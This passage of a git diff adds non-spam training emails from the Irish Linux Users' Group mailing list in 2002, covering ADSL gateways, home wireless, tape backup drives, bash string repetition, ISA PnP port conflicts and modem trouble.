g7GKo4602913 for + ; Fri, 16 Aug 2002 21:50:04 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id VAA20343; Fri, 16 Aug 2002 21:49:35 +0100 +Received: from hawk.dcu.ie (mail.dcu.ie [136.206.1.5]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id VAA20305 for ; Fri, + 16 Aug 2002 21:49:27 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host mail.dcu.ie [136.206.1.5] + claimed to be hawk.dcu.ie +Received: from prodigy.redbrick.dcu.ie (136.206.15.10) by hawk.dcu.ie + (6.0.040) id 3D36BB4A000AAD40 for ilug@linux.ie; Fri, 16 Aug 2002 21:49:25 + +0100 +Received: by prodigy.redbrick.dcu.ie (Postfix, from userid 7298) id + A9BCADA4A; Fri, 16 Aug 2002 21:49:25 +0100 (IST) +Date: Fri, 16 Aug 2002 21:49:25 +0100 +From: Declan +To: ilug@linux.ie +Subject: Re: [ILUG] ADSL, routers and firewalls +Message-Id: <20020816214925.B10958@prodigy.Redbrick.DCU.IE> +References: <200208161622.50538.CP.Hennessy@iname.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5i +In-Reply-To: <200208161622.50538.CP.Hennessy@iname.com>; from + CP.Hennessy@iname.com on Fri, Aug 16, 2002 at 04:22:50PM +0100 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Hey there, +Im using the standard ADSL package +With the speedtouch usb modem + +I have a 3 machine network(it was a 4 machine till my laptop crapped out) +Anyway +I have a dedicated linux server running debian 3.0 with the ADSL modem +plugged directly into it. +I have a 5 port switch connecting the home net, all have their own 10/100 nic. +The server runs my firewall/net gateway/etc. +And I have some firewall rules for masquerading +which shares the connection over the lan just nicely. + +Once the machine is configured for adsl (thats the tough bit) +the network stuff is quite easy. + +I found that to be the simpelst way to go. + + +-- + +Redbrick - Dublin City University Networking Society +Declan McMullen - Education Officer + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00437.5af67abd96a8188a8a36f2674781da8b b/bayes/spamham/easy_ham_2/00437.5af67abd96a8188a8a36f2674781da8b new file mode 100644 index 0000000..168b9ff --- /dev/null +++ b/bayes/spamham/easy_ham_2/00437.5af67abd96a8188a8a36f2674781da8b @@ -0,0 +1,102 @@ +From ilug-admin@linux.ie Mon Aug 19 11:02:29 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B832E44192 + for ; Mon, 19 Aug 2002 05:54:15 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:54:15 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7GLLu604019 for + ; Fri, 16 Aug 2002 22:21:56 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id WAA21762; Fri, 16 Aug 2002 22:21:00 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from host4.the-web-host.com (host4.the-web-host.com + [209.239.49.190]) by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id WAA21727 + for ; Fri, 16 Aug 2002 22:20:53 +0100 +Received: from rfitzsimons (spamisevil.test.ie.vianw.net [212.17.60.214]) + by host4.the-web-host.com (8.10.2/8.10.2) with ESMTP id g7GLKn804324; + Fri, 16 Aug 2002 17:20:49 -0400 +Received: from bob by rfitzsimons with local (Exim 3.35 #1 (Debian)) id + 17foVD-0000QS-00; Fri, 16 Aug 2002 21:19:27 +0000 +Date: Fri, 16 Aug 2002 21:19:26 +0000 +From: Robert Fitzsimons +To: Justin MacCarthy +Cc: "Ilug@Linux.Ie" +Subject: Re: [ILUG] extending a HAN with Wireless.. +Message-Id: <20020816211926.GB1412@rfitzsimons> +References: <00ea01c24540$7778e3b0$ea5012ac@xelector.com> + +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: +User-Agent: Mutt/1.4i +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Hello Justin + +The simplest setup would be to connect a wireless access point to you +hub then use a wireless pcmcia network card in your laptop. You could +also get some pcmcia to pci adapters or wireless pci network cards for +your desktop machines. + +The access point would be configured with a network name (essid) and a +channel number for you wireless network. The client machine would be +configured with the same network name, it should be able to auto detect +the channel number. + +Driver support is very good, there are only a few wireless chipsets, +and I believe that all but the newest 802.11b Plus (22Mbps) and 802.11a +hardware has Linux drivers. + +If you need anymore help or info checkout the forums and irc channel at +. + +Robert Fitzsimons +robfitz@273k.net + +On Fri, Aug 16, 2002 at 05:39:21PM +0100, Justin MacCarthy wrote: +> I have a small network at home, +> +> Connected by 5 port hub.... +> "smoothwall" smoothwall server 192.168.1.1 +> "shaftoe" Windows 2000 192.168.1.75 +> "gotodengo" Linux 192.168.1.50 +> +> +> The family has a new pc I want to plug in, to use the ISDN in smoothwall. +> I also have a notebook. +> +> +> I want to plug both of these into the network using a wireless connection. +> What's the best way to do this??? I need to plug a wireless hub into my 5 +> port hub; right? What wireless hardware is good for both Linux & windows??? +> I'm know very little about wireless... +> +> Thanks +> +> Justin +> +> +> +> +> +> -- +> Irish Linux Users' Group: ilug@linux.ie +> http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +> List maintainer: listmaster@linux.ie + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00438.a4e08ec27cc4d6d5dd27d43178d3bc17 b/bayes/spamham/easy_ham_2/00438.a4e08ec27cc4d6d5dd27d43178d3bc17 new file mode 100644 index 0000000..f9c909e --- /dev/null +++ b/bayes/spamham/easy_ham_2/00438.a4e08ec27cc4d6d5dd27d43178d3bc17 @@ -0,0 +1,118 @@ +From ilug-admin@linux.ie Mon Aug 19 11:02:35 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6DE2F44193 + for ; Mon, 19 Aug 2002 05:54:19 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:54:19 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7GMYd606012 for + ; Fri, 16 Aug 2002 23:34:44 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id XAA24479; Fri, 16 Aug 2002 23:33:40 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from linuxmafia.com (linuxmafia.COM [198.144.195.186]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id XAA24444 for ; + Fri, 16 Aug 2002 23:33:29 +0100 +Received: from rick by linuxmafia.com with local (Exim 3.35 #1 (Debian)) + id 17fpf2-0004ie-00 for ; Fri, 16 Aug 2002 15:33:40 -0700 +Date: Fri, 16 Aug 2002 15:33:40 -0700 +To: ilug@linux.ie +Subject: Re: [ILUG] Backup solutions +Message-Id: <20020816223340.GC9654@linuxmafia.com> +References: + <51776.194.237.142.30.1029508744.squirrel@mail.nologic.org> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <51776.194.237.142.30.1029508744.squirrel@mail.nologic.org> +User-Agent: Mutt/1.4i +From: Rick Moen +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Quoting Ciaran Johnston (cj@nologic.org): + +> Thanks for all the replies. +> +> I see from +> http://www.sosonline.co.uk/Shop/Product_Details.asp?DP=1215&RP=0 that +> I can get a Seagate internal DDS-4 capable drive for Euro1,018.43. +> This is about the limit of my spending. However, this OnStream IDE +> tape drive - http://web6.scan.co.uk/Products/Info.asp?WPID=14022 +> (thanks for the link, Martin) - by my calculations provides more +> storage at only slightly slower speeds at half the price. Is there any +> overriding reason why I should go with the more expensive and +> lower-capacity DDS-4 drive other than speed? + +The ADR (Advanced Digital Recording) tape format is an interesting +option, one I hadn't seen much of, before. Look as if OnStream (spun +off from Philips Electronics in 1998) invented and rather tightly +control the format, though other companies such as Verbatim do make +compatible media under licence. + +If you're reasonably serious about backup, you need to plan for a +rotational backup scheme and retirement of tapes as they become worn +(and well before they start failing). That requires at least a couple +of dozen tapes for the first couple of years. Therefore, cost and +availability of media are (or should be) a major factor. Also, tape +heads wear out and need to be replaced (more rapidly for helical-scan +systems -- which ADR turns out _not_ to be), and somehow that always +ends up being cheaper for tape technologies in which there is heavy +competition. + +The less-tangible consideration that comes most immediately to mind is +that, if one's OnStream ADR drive fails, the only possible replacement +that would suffice to restore your accumulated backup sets is another +OnStream ADR drive. In that sense, you're somewhat locked in: I'm +not seeing ADR drives from anyone else (though I might have missed +them). + +If OnStream are smart, they've priced the drives to attract people into +the system, and are making up the shortfall on media cost after they +get people to buy in. I see the following prices for mail order +(http://www.finnsoft.com/priclist/verbat.htm) of Verbatim-brand tapes: + +42 euros for 30 GB ADR tape +33 euros for 30 GB ADR tape, four-pack. +66 euros for 50 GB ADR tape. +44 euros for 50 GB ADR tape, four-pack. +47 euros for ADR cleaning tape. + +(You don't get much lower pricing than Verbatim, without going no-name.) + +Capacities are usually quoted on the basis of a nominal 2:1 compression +ratio. The PDF datasheet for Onstream's "ADR2" series says this is a +linear-serpentine recording technology (a good thing) like DLT, SDLT, +and LTO, rather than a helical-scan method typified by DDS/DAT, AIT, and +8mm (which puts heavy wear on tapes on heads). + +I'm not sure what software other than NovaStor's TapeCopy and Yosemite +Technology's Tapeware will support OnStream's drives. My recollection +is that BRU will do it. + +On balance, I'd personally _still_ go with a DDS4 drive using either DDS3 +or DDS4 media, mostly because once you've survived life with one +oddball, less-standard tape format, you're not in a hurry to repeat the +experience. But ADR does seem at a quick glance to be well designed, +and might be a good bet after all. As they say in the gaming industry, +"Ya pays your money, and ya takes your chances." + +-- +"Is it not the beauty of an asynchronous form of discussion that one can go and +make cups of tea, floss the cat, fluff the geraniums, open the kitchen window +and scream out it with operatic force, volume, and decorum, and then return to +the vexed glowing letters calmer of mind and soul?" -- The Cube, forum3000.org + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00439.4588d5306e105aa80c51978dfc505d3f b/bayes/spamham/easy_ham_2/00439.4588d5306e105aa80c51978dfc505d3f new file mode 100644 index 0000000..cf997ab --- /dev/null +++ b/bayes/spamham/easy_ham_2/00439.4588d5306e105aa80c51978dfc505d3f @@ -0,0 +1,73 @@ +From ilug-admin@linux.ie Mon Aug 19 11:02:35 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id DA4C644194 + for ; Mon, 19 Aug 2002 05:54:20 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:54:20 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7HA7S626805 for + ; Sat, 17 Aug 2002 11:07:28 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id LAA17376; Sat, 17 Aug 2002 11:06:52 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from chewie.compsoc.com (chewie.compsoc.com [193.120.201.13]) by + lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id LAA17343 for ; + Sat, 17 Aug 2002 11:06:45 +0100 +Received: (from kor@localhost) by chewie.compsoc.com (8.11.6/8.11.6) id + g7HA6iu29380; Sat, 17 Aug 2002 11:06:44 +0100 +Date: Sat, 17 Aug 2002 11:06:44 +0100 +From: "Kevin O' Riordan" +To: Padraig Brady +Cc: ilug@linux.ie +Subject: Re: [ILUG] expanding a string multiple times +Message-Id: <20020817100644.GA29167@chewie.compsoc.com> +Mail-Followup-To: Padraig Brady , + ilug@linux.ie +References: <3D5D27B9.9080009@corvil.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <3D5D27B9.9080009@corvil.com> +User-Agent: Mutt/1.4i +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + + +On Pungenday, the 9th day of Bureaucracy, Padraig Brady confessed: +> How can I repeat a string an arbitrary number +> of times in bash/sed/... +> +> I.E. I'm missing the repeat in the following: +> +> STRING="> " +> NUMBER=3 +> PREFIX=repeat $STRING $NUMBER +> echo $PREFIX +> > > > + + +perl ? + + STRING="> " + NUMBER=3 + PREFIX=`perl -e "print '$STRING' x $NUMBER;"` + echo $PREFIX + +I'm pretty sure the bsd 'jot' utility can do this too, but I don't +have it to hand. + +-kev + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00440.c3f2884506305948c017149cbd75fdcf b/bayes/spamham/easy_ham_2/00440.c3f2884506305948c017149cbd75fdcf new file mode 100644 index 0000000..0a25ae3 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00440.c3f2884506305948c017149cbd75fdcf @@ -0,0 +1,54 @@ +From ilug-admin@linux.ie Mon Aug 19 11:02:42 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B805444195 + for ; Mon, 19 Aug 2002 05:54:21 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:54:21 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7HI43606318 for + ; Sat, 17 Aug 2002 19:04:03 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id TAA02190; Sat, 17 Aug 2002 19:03:06 +0100 +Received: from claymore.diva.ie (diva.ie [195.218.115.17] (may be forged)) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id TAA02147 for + ; Sat, 17 Aug 2002 19:02:57 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host diva.ie [195.218.115.17] + (may be forged) claimed to be claymore.diva.ie +Received: from diva.ie (gavin.diva.ie [62.77.168.221]) by claymore.diva.ie + (8.9.3/8.9.3) with ESMTP id TAA26129; Sat, 17 Aug 2002 19:02:55 +0100 +Message-Id: <3D5E9077.1090105@diva.ie> +Date: Sat, 17 Aug 2002 19:05:43 +0100 +From: Gavin Henrick +Reply-To: gavin@diva.ie +Organization: Diva Consulting Ireland Ltd +User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0rc2) + Gecko/20020510 +X-Accept-Language: en-us, en +MIME-Version: 1.0 +To: ilug@linux.ie +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +Subject: [ILUG] linux based IVR +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Just wondering if anyone has implemented one before, and any suggestions +etc. + +Yes i am googling, but would like some experienced opinion if available ;) + +Gavin + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00441.3c62e9c696b9e8d05e77975b4de25ee1 b/bayes/spamham/easy_ham_2/00441.3c62e9c696b9e8d05e77975b4de25ee1 new file mode 100644 index 0000000..e94baad --- /dev/null +++ b/bayes/spamham/easy_ham_2/00441.3c62e9c696b9e8d05e77975b4de25ee1 @@ -0,0 +1,64 @@ +From ilug-admin@linux.ie Mon Aug 19 11:02:44 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id DEB7743C60 + for ; Mon, 19 Aug 2002 05:54:22 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:54:22 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7HKFL609479 for + ; Sat, 17 Aug 2002 21:15:21 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id VAA06754; Sat, 17 Aug 2002 21:14:21 +0100 +Received: from claymore.diva.ie (diva.ie [195.218.115.17] (may be forged)) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id VAA06716 for + ; Sat, 17 Aug 2002 21:14:09 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host diva.ie [195.218.115.17] + (may be forged) claimed to be claymore.diva.ie +Received: from localhost (claymore [195.218.115.17]) by claymore.diva.ie + (8.9.3/8.9.3) with ESMTP id VAA02113 for ; Sat, + 17 Aug 2002 21:14:08 +0100 +Received: from 194.125.207.100 ( [194.125.207.100]) as user + rcunniff@mail.boxhost.net by webmail.gameshrine.com with HTTP; + Sat, 17 Aug 2002 21:14:08 +0100 +Message-Id: <1029615248.3d5eae908fb16@webmail.gameshrine.com> +Date: Sat, 17 Aug 2002 21:14:08 +0100 +From: Ronan Cunniffe +To: ilug@linux.ie +MIME-Version: 1.0 +Content-Type: text/plain; charset=ISO-8859-1 +Content-Transfer-Encoding: 8bit +User-Agent: Internet Messaging Program (IMP) 3.0 +X-Originating-Ip: 194.125.207.100 +Subject: [ILUG] PNP collision avoidance question +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Hi all, + I have an ISA PNP card that will use io 0x200 if available. If located at +0x200 the card never works, at 0x210 it always does. I suspect the problem is +the soundcard (Creative SB PCI-64) gameport controller, which also seems to live +here. I'm not using the controller, so it doesn't show in /proc/ioports, so +autodetect happily puts my ISA card there. + I can get the card to work easily enough using isapnptools, banning the +0x200 range in /etc/isapnp.gone, and then using "insmod radio-cadet io=0x210", +but I'd like to get the autodetect working, so what I think I'm looking for is +some way of adding "don't go here, don't bother me" entries into /proc/ioports. + +Anybody? + +TIA, +Ronan. + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00442.38508150d13a53c035c15edb79ec4f9d b/bayes/spamham/easy_ham_2/00442.38508150d13a53c035c15edb79ec4f9d new file mode 100644 index 0000000..2412a53 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00442.38508150d13a53c035c15edb79ec4f9d @@ -0,0 +1,87 @@ +From ilug-admin@linux.ie Mon Aug 19 11:02:47 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id CB0FC44196 + for ; Mon, 19 Aug 2002 05:54:24 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:54:24 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7HL8j610834 for + ; Sat, 17 Aug 2002 22:08:45 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id WAA08700; Sat, 17 Aug 2002 22:07:20 +0100 +Received: from hawk.dcu.ie (mail.dcu.ie [136.206.1.5]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id WAA08664 for ; Sat, + 17 Aug 2002 22:07:12 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host mail.dcu.ie [136.206.1.5] + claimed to be hawk.dcu.ie +Received: from prodigy.redbrick.dcu.ie (136.206.15.10) by hawk.dcu.ie + (6.0.040) id 3D36BB4A000AD875 for ilug@linux.ie; Sat, 17 Aug 2002 22:07:12 + +0100 +Received: by prodigy.redbrick.dcu.ie (Postfix, from userid 1023) id + 97F48DA4A; Sat, 17 Aug 2002 22:07:11 +0100 (IST) +Date: Sat, 17 Aug 2002 22:07:11 +0100 +From: Philip Reynolds +To: ilug@linux.ie +Subject: Re: [ILUG] expanding a string multiple times +Message-Id: <20020817220711.H29114@prodigy.Redbrick.DCU.IE> +References: <3D5D27B9.9080009@corvil.com> + <20020817100644.GA29167@chewie.compsoc.com> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5i +In-Reply-To: <20020817100644.GA29167@chewie.compsoc.com>; from + kor@compsoc.com on Sat, Aug 17, 2002 at 11:06:44AM +0100 +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Kevin O' Riordan's [kor@compsoc.com] 30 lines of wisdom included: +> +> On Pungenday, the 9th day of Bureaucracy, Padraig Brady confessed: +> > How can I repeat a string an arbitrary number +> > of times in bash/sed/... +> > +> > I.E. I'm missing the repeat in the following: +> > +> > STRING="> " +> > NUMBER=3 +> > PREFIX=repeat $STRING $NUMBER +> > echo $PREFIX +> > > > > +> +> +> perl ? +> +> STRING="> " +> NUMBER=3 +> PREFIX=`perl -e "print '$STRING' x $NUMBER;"` +> echo $PREFIX +> +> I'm pretty sure the bsd 'jot' utility can do this too, but I don't +> have it to hand. + +I didn't think that jot was installed on Linux systems by default, +so from the tone of Padraigs mail that's not what he wanted, +however, if I'm incorrect (don't have a Linux system to hand) the +following is the syntax. + +jot -b "string" 3 + +Phil. +-- + Philip Reynolds + RFC Networks tel: 01 8832063 +www.rfc-networks.ie fax: 01 8832041 + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00443.250c4342b266679ad21f6f6136ad65af b/bayes/spamham/easy_ham_2/00443.250c4342b266679ad21f6f6136ad65af new file mode 100644 index 0000000..9b0e917 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00443.250c4342b266679ad21f6f6136ad65af @@ -0,0 +1,59 @@ +From ilug-admin@linux.ie Mon Aug 19 11:02:48 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4043144197 + for ; Mon, 19 Aug 2002 05:54:30 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:54:30 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7IBfX607848 for + ; Sun, 18 Aug 2002 12:41:33 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id MAA14617; Sun, 18 Aug 2002 12:40:17 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from redpie.com (redpie.com [216.122.135.208] (may be forged)) + by lugh.tuatha.org (8.9.3/8.9.3) with ESMTP id MAA14582 for + ; Sun, 18 Aug 2002 12:40:10 +0100 +Received: from justin ([194.46.28.223]) by redpie.com (8.8.7/8.8.5) with + SMTP id EAA23605 for ; Sun, 18 Aug 2002 04:40:06 -0700 + (PDT) +From: "Kiall Mac Innes" +To: +Date: Sun, 18 Aug 2002 12:47:09 +0100 +Message-Id: +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) +Importance: Normal +X-Mimeole: Produced By Microsoft MimeOLE V5.50.4522.1200 +Subject: [ILUG] OffTopic: PS2 Mod-chip installation... can anyone do it? +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Sorry i know this is off topic: + +Ive recently gotton my hands on a mod chip for my PS2 and its needs to be +solderd into the PS2, but i have never solderd before and the guy i got it +off reccomended that i do not attempt to install it my self... if anyone can +do it or knows someone who can e-mail me at kiall@redpie.com. DO NOT REPLY +TO THIS LIST... once again sorry for the OT... + +Kiall Mac Innes + + + +-- +Irish Linux Users' Group: ilug@linux.ie +http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. +List maintainer: listmaster@linux.ie + diff --git a/bayes/spamham/easy_ham_2/00444.ce885a3320a33be01019bbbc8343dc73 b/bayes/spamham/easy_ham_2/00444.ce885a3320a33be01019bbbc8343dc73 new file mode 100644 index 0000000..b2b081c --- /dev/null +++ b/bayes/spamham/easy_ham_2/00444.ce885a3320a33be01019bbbc8343dc73 @@ -0,0 +1,62 @@ +From ilug-admin@linux.ie Mon Aug 19 11:02:59 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C8E4B4419A + for ; Mon, 19 Aug 2002 05:54:33 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:54:33 +0100 (IST) +Received: from lugh.tuatha.org (root@lugh.tuatha.org [194.125.145.45]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7J8W0614402 for + ; Mon, 19 Aug 2002 09:32:00 +0100 +Received: from lugh (root@localhost [127.0.0.1]) by lugh.tuatha.org + (8.9.3/8.9.3) with ESMTP id JAA26624; Mon, 19 Aug 2002 09:30:58 +0100 +X-Authentication-Warning: lugh.tuatha.org: Host root@localhost [127.0.0.1] + claimed to be lugh +Received: from mail01.svc.cra.dublin.eircom.net + (mail01.svc.cra.dublin.eircom.net [159.134.118.17]) by lugh.tuatha.org + (8.9.3/8.9.3) with SMTP id JAA26586 for ; Mon, + 19 Aug 2002 09:30:48 +0100 +Message-Id: <200208190830.JAA26586@lugh.tuatha.org> +Received: (qmail 99311 messnum 123666 invoked from + network[159.134.237.75/jimbo.eircom.net]); 19 Aug 2002 08:30:17 -0000 +Received: from jimbo.eircom.net (HELO webmail.eircom.net) (159.134.237.75) + by mail01.svc.cra.dublin.eircom.net (qp 99311) with SMTP; 19 Aug 2002 + 08:30:17 -0000 +From: "Mark Conway" +Reply-To: +To: ILUG@linux.ie +Date: Mon, 19 Aug 2002 09:30:17 +0100 +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 8bit +X-Originating-Ip: 194.125.2.129 +X-Mailer: Eircom Net CRC Webmail (http://www.eircom.net/) +Organization: Eircom Net (http://www.eircom.net/) +Subject: [ILUG] RE: Newbie Question +Sender: ilug-admin@linux.ie +Errors-To: ilug-admin@linux.ie +X-Mailman-Version: 1.1 +Precedence: bulk +List-Id: Irish Linux Users' Group +X-Beenthere: ilug@linux.ie + +Regarding: +Another problem I have is that I cannot install my ISDN, USB modem ( LASAT Speed Basic ), however im pretty sure its not supported by Linux, but again it is featured in the Hardware Browser, without installed drivers. + +Thanks for your replies.... However i still cant get it to detect the External USB modem. I also have an internal 56k fax modem, but i cannot get that detected either ( maybe its because it was designed for Windows and is not supported ). Im not going to buy a new modem ( I think 2 is more than enough for 1 PC ). + +It could well be my inexperience with Linux that is making this more difficult, but whatever it is iv just about had enough!! Any last gasp ideas would be welcome + +Many Thanks + +Mark + + + +-- +Irish Linux 